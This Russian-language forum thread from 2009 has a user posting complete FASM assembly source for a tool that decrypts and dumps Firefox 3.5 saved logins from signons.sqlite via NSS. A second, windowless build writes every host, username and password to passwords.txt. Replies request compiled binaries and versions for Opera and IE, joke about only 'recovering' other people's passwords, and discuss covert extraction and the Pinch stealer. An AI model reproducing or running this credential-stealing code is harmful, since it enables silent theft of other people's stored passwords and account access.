PDA

Просмотр полной версии : [ASM] Firefox 3.5 Passwords Recovery


whexp
06.12.2009, 22:47
Firefox 3.5 Passwords Recovery

Привет всем. Вот решил выложить, может кому и пригодится :)

Писал сам. Программа отображает в консоли пароли от Firefox 3.5. На работу с мастер-паролем не рассчитана.

Компилируем с помощью FASM (берем на flatassembler.net версию для Windows). После компиляции получаем файл весом 3kb :) Тестировалось на Windows XP (x86).

По умолчанию максимальная длина имени пользователя и пароля - 90 символов. Кому нужно - меняем константы в начале исходника.
format PE
entry main

include 'win32a.inc'

USERNAME_MAX_LENGTH equ 90
PASSWORD_MAX_LENGTH equ 90

section '.data' data readable writeable
pathWord db 'Path', 0
keyPath db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0

libNSS db 'nss3.dll', 0
libSQLite db 'sqlite3.dll', 0

nNSS_Init db 'NSS_Init', 0
nPK11_GetInternalKeySlot db 'PK11_GetInternalKeySlot', 0
nPK11_Authenticate db 'PK11_Authenticate', 0
nNSSBase64_DecodeBuffer db 'NSSBase64_DecodeBuffer', 0
nPK11SDR_Decrypt db 'PK11SDR_Decrypt', 0
nPK11_FreeSlot db 'PK11_FreeSlot', 0
nNSS_Shutdown db 'NSS_Shutdown', 0
nsqlite3_open db 'sqlite3_open', 0
nsqlite3_exec db 'sqlite3_exec', 0
nsqlite3_close db 'sqlite3_close', 0

iniPathMask db '%s\Mozilla\Firefox\profiles.ini', 0
profileNameMask db 'Profile%d', 0
profilePathMask db '%s\Mozilla\Firefox\%s', 0

dbName db 'signons.sqlite', 0
sqlCommand db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0

outputMask db 'Host: %s', 0Dh, 0Ah,\
'Username: %s', 0Dh, 0Ah,\
'Password: %s', 0Dh, 0Ah,\
'================================================= =', 0Dh, 0Ah, 0

profileName rb 10 ; Имя профля (Profile0, Profile1, etc.)
profilePathPart rb 30 ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default)
username rb USERNAME_MAX_LENGTH ; Имя пользователя
password rb PASSWORD_MAX_LENGTH ; Пароль
temp rb 256 ; Временная переменная для расшифровки
profilePath rb 256 ; Полный путь до профиля
appDataPath rb 256 ; Путь до директории APP_DATA
iniPath rb 256 ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini)
firefoxPath rb 256 ; Путь до директории с установленным Firefox
outputBuffer rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль

hDB dd ? ; Дескриптор БД
hOutput dd ? ; Дескриптор консоли
writed dd ? ; Количество записанных данных на консоль
hKey dd ? ; Дескриптор ключа реестра
hNSS dd ? ; Дескриптор модуля NSS
hSQLite dd ? ; Дескриптор модуля SQLite

NSS_Init dd ? ;
PK11_GetInternalKeySlot dd ? ;
PK11_Authenticate dd ? ;
NSSBase64_DecodeBuffer dd ? ;
PK11SDR_Decrypt dd ? ; Дескрипторы функций
PK11_FreeSlot dd ? ;
NSS_Shutdown dd ? ;
sqlite3_open dd ? ;
sqlite3_exec dd ? ;
sqlite3_close dd ? ;

cbData dd ?

hKeySlot dd ?
struct PSECItem
SECItemType dd ?
SECItemData dd ?
SECItemLen dd ?
ends

eSECItem PSECItem
dSECItem PSECItem

section '.code' code readable executable
main:
invoke GetStdHandle, STD_OUTPUT_HANDLE ; Получаем дескриптор консоли
mov [hOutput],eax ; И записываем его в hOutput

invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey ; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
cmp eax, 2 ; Если такого ключа нет (Firefox не установлен), то выходим
je .close ;

mov [cbData], 256 ;
invoke RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData ; Считываем значение поля Path (путь до директории с установленным Firefox)
cmp eax, 2 ; Если такого нет (мало ли), то выходим
je .close ;
invoke RegCloseKey, [hKey] ; Закрываем Ключ

invoke SetCurrentDirectory, firefoxPath ; Устанавливаем текущей директорией директорию с Firefox
cmp eax, 0 ;
je .close ;

invoke LoadLibrary, libNSS ;
cmp eax, 0 ;
je .close ;
mov [hNSS], eax ;
;
invoke GetProcAddress, [hNSS], nNSS_Init ;
mov [NSS_Init], eax ;
invoke GetProcAddress, [hNSS], nPK11_GetInternalKeySlot ;
mov [PK11_GetInternalKeySlot], eax ;
invoke GetProcAddress, [hNSS], nPK11_Authenticate ;
mov [PK11_Authenticate], eax ;
invoke GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer ;
mov [NSSBase64_DecodeBuffer], eax ;
invoke GetProcAddress, [hNSS], nPK11SDR_Decrypt ;
mov [PK11SDR_Decrypt], eax ; Загружаем необходимые библиотеки:
invoke GetProcAddress, [hNSS], nPK11_FreeSlot ; NSS3 и SQLite3 и получаем адреса
mov [PK11_FreeSlot], eax ; необходимых функций
invoke GetProcAddress, [hNSS], nNSS_Shutdown ;
mov [NSS_Shutdown], eax ;
;
invoke LoadLibrary, libSQLite ;
cmp eax, 0 ;
je .close ;
mov [hSQLite], eax ;
;
invoke GetProcAddress, [hSQLite], nsqlite3_open ;
mov [sqlite3_open], eax ;
invoke GetProcAddress, [hSQLite], nsqlite3_exec ;
mov [sqlite3_exec], eax ;
invoke GetProcAddress, [hSQLite], nsqlite3_close ;
mov [sqlite3_close], eax ;

invoke SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0 ; Получаем путь до директории Application Data текущего пользователяы
cinvoke wsprintf, iniPath, iniPathMask, appDataPath ; Получаем путь до файла profiles.ini

sub ebx, ebx

.proloop: ; В цикле будут обрабатываться профили
cinvoke wsprintf, profileName, profileNameMask, ebx ; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc.
invoke GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath ; Получаем путь до директории профиля
cmp eax, 0 ; Ну а если такого профиля нет, то выходим
je .close
cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart ; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE
invoke SetCurrentDirectory, profilePath

cinvoke NSS_Init, profilePath
cinvoke PK11_GetInternalKeySlot
mov [hKeySlot], eax
cinvoke PK11_Authenticate, [hKeySlot], 1, 0

cinvoke sqlite3_open, dbName, hDB ; Открываем БД
cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0 ; Выполняем запрос
cinvoke sqlite3_close, [hDB] ; Закрываем БД

cinvoke PK11_FreeSlot, [hKeySlot]
cinvoke NSS_Shutdown

inc ebx
jmp .proloop

.close:
invoke ExitProcess, 0

proc CallBack c, cols, rows, headers
push ebx
mov ebx, [rows + 4]

invoke lstrcpyn, temp, [ebx + 4], 256 ;
invoke lstrlen, temp ; Расшифровываем имя пользователя
cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; и помещаем в username
cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ;
invoke lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ;

invoke lstrcpyn, temp, [ebx + 8], 256 ;
invoke lstrlen, temp ; Расшифровываем пароль и
cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; помещаем в password
cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ;
invoke lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ;

cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password ; Форматируем текст по маске
invoke lstrlen, outputBuffer
invoke WriteConsole, [hOutput], outputBuffer, eax, writed, 0 ; Выводим текст на консоль

pop ebx
sub eax, eax
ret
endp

section '.idata' import data readable writeable
library kernel32, 'kernel32.dll',\
user32, 'user32.dll',\
advapi32, 'advapi32.dll',\
shell32, 'shell32.dll'

include 'api\kernel32.inc'
include 'api\user32.inc'
include 'api\advapi32.inc'
include 'api\shell32.inc'
Компилируем и запускаем через консоль и получаем множество записей вида:

http://i.piccy.info/i4/8e/50/260b9be314f65e3602f777d1ab4d.png

UPD:

Версия с записью результатов в файл:
format PE GUI 4.0
entry main

include 'win32a.inc'

USERNAME_MAX_LENGTH equ 90
PASSWORD_MAX_LENGTH equ 90

section '.data' data readable writeable
pathWord db 'Path', 0
keyPath db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0

libNSS db 'nss3.dll', 0
libSQLite db 'sqlite3.dll', 0

outputFileName db 'passwords.txt', 0

nNSS_Init db 'NSS_Init', 0
nPK11_GetInternalKeySlot db 'PK11_GetInternalKeySlot', 0
nPK11_Authenticate db 'PK11_Authenticate', 0
nNSSBase64_DecodeBuffer db 'NSSBase64_DecodeBuffer', 0
nPK11SDR_Decrypt db 'PK11SDR_Decrypt', 0
nPK11_FreeSlot db 'PK11_FreeSlot', 0
nNSS_Shutdown db 'NSS_Shutdown', 0
nsqlite3_open db 'sqlite3_open', 0
nsqlite3_exec db 'sqlite3_exec', 0
nsqlite3_close db 'sqlite3_close', 0

iniPathMask db '%s\Mozilla\Firefox\profiles.ini', 0
profileNameMask db 'Profile%d', 0
profilePathMask db '%s\Mozilla\Firefox\%s', 0

dbName db 'signons.sqlite', 0
sqlCommand db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0

outputMask db 'Host: %s', 0Dh, 0Ah,\
'Username: %s', 0Dh, 0Ah,\
'Password: %s', 0Dh, 0Ah,\
'================================================= =', 0Dh, 0Ah, 0

profileName rb 10 ; Имя профля (Profile0, Profile1, etc.)
profilePathPart rb 30 ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default)
username rb USERNAME_MAX_LENGTH ; Имя пользователя
password rb PASSWORD_MAX_LENGTH ; Пароль
temp rb 256 ; Временная переменная для расшифровки
profilePath rb 256 ; Полный путь до профиля
appDataPath rb 256 ; Путь до директории APP_DATA
iniPath rb 256 ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini)
firefoxPath rb 256 ; Путь до директории с установленным Firefox
outputBuffer rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль

hDB dd ? ; Дескриптор БД
writed dd ? ; Количество записанных данных на консоль
hKey dd ? ; Дескриптор ключа реестра
hNSS dd ? ; Дескриптор модуля NSS
hSQLite dd ? ; Дескриптор модуля SQLite
hFile dd ? ; Дескриптор файла

NSS_Init dd ? ;
PK11_GetInternalKeySlot dd ? ;
PK11_Authenticate dd ? ;
NSSBase64_DecodeBuffer dd ? ;
PK11SDR_Decrypt dd ? ; Дескрипторы функций
PK11_FreeSlot dd ? ;
NSS_Shutdown dd ? ;
sqlite3_open dd ? ;
sqlite3_exec dd ? ;
sqlite3_close dd ? ;

cbData dd ?
hKeySlot dd ?

struct PSECItem
SECItemType dd ?
SECItemData dd ?
SECItemLen dd ?
ends

eSECItem PSECItem
dSECItem PSECItem

section '.code' code readable executable
main:
invoke CreateFile, outputFileName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
mov [hFile], eax
mov [hFile],eax ; И записываем его в hFile

invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey ; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
cmp eax, 2 ; Если такого ключа нет (Firefox не установлен), то выходим
je .close ;

mov [cbData], 256 ;
invoke RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData ; Считываем значение поля Path (путь до директории с установленным Firefox)
cmp eax, 2 ; Если такого нет (мало ли), то выходим
je .close ;
invoke RegCloseKey, [hKey] ; Закрываем Ключ

invoke SetCurrentDirectory, firefoxPath ; Устанавливаем текущей директорией директорию с Firefox
cmp eax, 0 ;
je .close ;

invoke LoadLibrary, libNSS ;
cmp eax, 0 ;
je .close ;
mov [hNSS], eax ;
;
invoke GetProcAddress, [hNSS], nNSS_Init ;
mov [NSS_Init], eax ;
invoke GetProcAddress, [hNSS], nPK11_GetInternalKeySlot ;
mov [PK11_GetInternalKeySlot], eax ;
invoke GetProcAddress, [hNSS], nPK11_Authenticate ;
mov [PK11_Authenticate], eax ;
invoke GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer ;
mov [NSSBase64_DecodeBuffer], eax ;
invoke GetProcAddress, [hNSS], nPK11SDR_Decrypt ;
mov [PK11SDR_Decrypt], eax ; Загружаем необходимые библиотеки:
invoke GetProcAddress, [hNSS], nPK11_FreeSlot ; NSS3 и SQLite3 и получаем адреса
mov [PK11_FreeSlot], eax ; необходимых функций
invoke GetProcAddress, [hNSS], nNSS_Shutdown ;
mov [NSS_Shutdown], eax ;
;
invoke LoadLibrary, libSQLite ;
cmp eax, 0 ;
je .close ;
mov [hSQLite], eax ;
;
invoke GetProcAddress, [hSQLite], nsqlite3_open ;
mov [sqlite3_open], eax ;
invoke GetProcAddress, [hSQLite], nsqlite3_exec ;
mov [sqlite3_exec], eax ;
invoke GetProcAddress, [hSQLite], nsqlite3_close ;
mov [sqlite3_close], eax ;

invoke SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0 ; Получаем путь до директории Application Data текущего пользователяы
cinvoke wsprintf, iniPath, iniPathMask, appDataPath ; Получаем путь до файла profiles.ini

sub ebx, ebx

.proloop: ; В цикле будут обрабатываться профили
cinvoke wsprintf, profileName, profileNameMask, ebx ; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc.
invoke GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath ; Получаем путь до директории профиля
cmp eax, 0 ; Ну а если такого профиля нет, то выходим
je .close
cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart ; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE
invoke SetCurrentDirectory, profilePath

cinvoke NSS_Init, profilePath
cinvoke PK11_GetInternalKeySlot
mov [hKeySlot], eax
cinvoke PK11_Authenticate, [hKeySlot], 1, 0

cinvoke sqlite3_open, dbName, hDB ; Открываем БД
cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0 ; Выполняем запрос
cinvoke sqlite3_close, [hDB] ; Закрываем БД

cinvoke PK11_FreeSlot, [hKeySlot]
cinvoke NSS_Shutdown

inc ebx
jmp .proloop

.close:
invoke CloseHandle, [hFile]
invoke ExitProcess, 0

proc CallBack c, cols, rows, headers
push ebx
mov ebx, [rows + 4]

invoke lstrcpyn, temp, [ebx + 4], 256 ;
invoke lstrlen, temp ; Расшифровываем имя пользователя
cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; и помещаем в username
cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ;
invoke lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ;

invoke lstrcpyn, temp, [ebx + 8], 256 ;
invoke lstrlen, temp ; Расшифровываем пароль и
cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; помещаем в password
cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ;
invoke lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ;

cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password ; Форматируем текст по маске
invoke lstrlen, outputBuffer
invoke WriteFile, [hFile], outputBuffer, eax, writed, 0

pop ebx
sub eax, eax
ret
endp

section '.idata' import data readable writeable
library kernel32, 'kernel32.dll',\
user32, 'user32.dll',\
advapi32, 'advapi32.dll',\
shell32, 'shell32.dll'

include 'api\kernel32.inc'
include 'api\user32.inc'
include 'api\advapi32.inc'
include 'api\shell32.inc'

Скачать архив с исходными кодами и откомпилированными файлами: http://www.sendspace.com/file/apfnjg

=Zeus=
07.12.2009, 00:38
Сделай лучше, чтоб в файл сохраняло.
И выложи пожалуйста откомпиллированую версию для тех, у кого не установлен асм.

whexp
07.12.2009, 01:05
=Zeus=, без проблем :)
сделал версию с записью в файл, а так же залил откомпилированные версии.

=Zeus=
07.12.2009, 01:30
Хм, почему-то от Вконтакте не определил, написал, что мой пароль такой-же как имейл. Хотя это не так. Может потому, что в нем много символов, в том числе и кириллических?

whexp
07.12.2009, 07:47
Пардон :) Вчера не заметил. Сегодня исправлю, как приду.

whexp
07.12.2009, 08:02
Исправил. Изменил исходники, исправил ссылку. На этот раз сжал исходниики и компилированные версии вместе. console.exe - версия для консоли, а intofile.exe - с записью в файл.

ps. 2 =Zeus=, спасибо за замечания)

=Zeus=
07.12.2009, 13:21
Задумайся над написанием одной программы для 3-х браузеров - Firefox, Opera и IE. :)

whexp
07.12.2009, 19:34
=Zeus= , зачем? :)

$Atlet$
07.12.2009, 21:07
Для IE, насколько я знаю нельзя скрыто извлечь пароли на компе. Так что аналогичный софт был бы в тему.

=Zeus=
07.12.2009, 23:38
=Zeus= , зачем? :)
Думаю все бы были только за, так как иногда нужно не только свои пароли восстановить, но и другим помочь это сделать, а вот если человек сидит из-под оперы, помочь ему не получится, а бывает ооочень нужно :p
Никто же не собирается брать себе чужие пароли, правда? Ми будем только восстанавливать, честное слово! :D

Для IE, насколько я знаю нельзя скрыто извлечь пароли на компе. Так что аналогичный софт был бы в тему.
Пинч же может. В ИЕ вообще по-моему пароли в реестре хранятся в зашифрованном виде.

zilmassdo
08.12.2009, 07:50
ОГРОМНОЕ СПАСИБО!!!!Были траблы с Мозилой(не загружала страницы),а вней куча паролей!Еще раз спасибо!!!

whexp
08.12.2009, 16:17
zilmassdo, да не за что :)